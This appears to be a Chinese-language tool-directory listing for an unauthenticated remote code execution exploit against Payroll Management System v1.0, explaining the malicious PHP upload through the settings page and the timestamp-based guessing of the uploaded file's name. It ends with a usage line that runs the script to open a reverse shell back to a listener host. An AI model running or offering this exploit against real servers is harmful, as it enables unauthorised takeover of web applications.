黑客、渗透测试和网络安全工具，武装您的安全武器库！
针对 Payroll Management System v1.0 的未认证远程代码执行漏洞利用，通过恶意文件上传，具有文件名预测和反向 shell 功能。
发现我们社区最常用的工具。
探索所有工具
浏览我们的工具集合
通过文件上传实现RCE，针对https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html。文件名前面附加了精确到分钟的时间戳。该脚本尝试使用当前分钟、前一分钟和下一分钟的时间戳来猜测文件名。
薪资管理系统v1.0允许用户通过"save_settings"页面上传图片。未认证的攻击者可利用此功能上传恶意PHP文件。上传的文件存储在公开可访问的文件夹中，文件名附加了精确到分钟的时间戳，该时间戳易于计算。成功利用此漏洞可以以运行Web服务器的用户身份执行任意代码。
python3 exploit.py -rhost somewebsite.com -rport 443 -lhost 192.168.22.23 -lport 443 -https
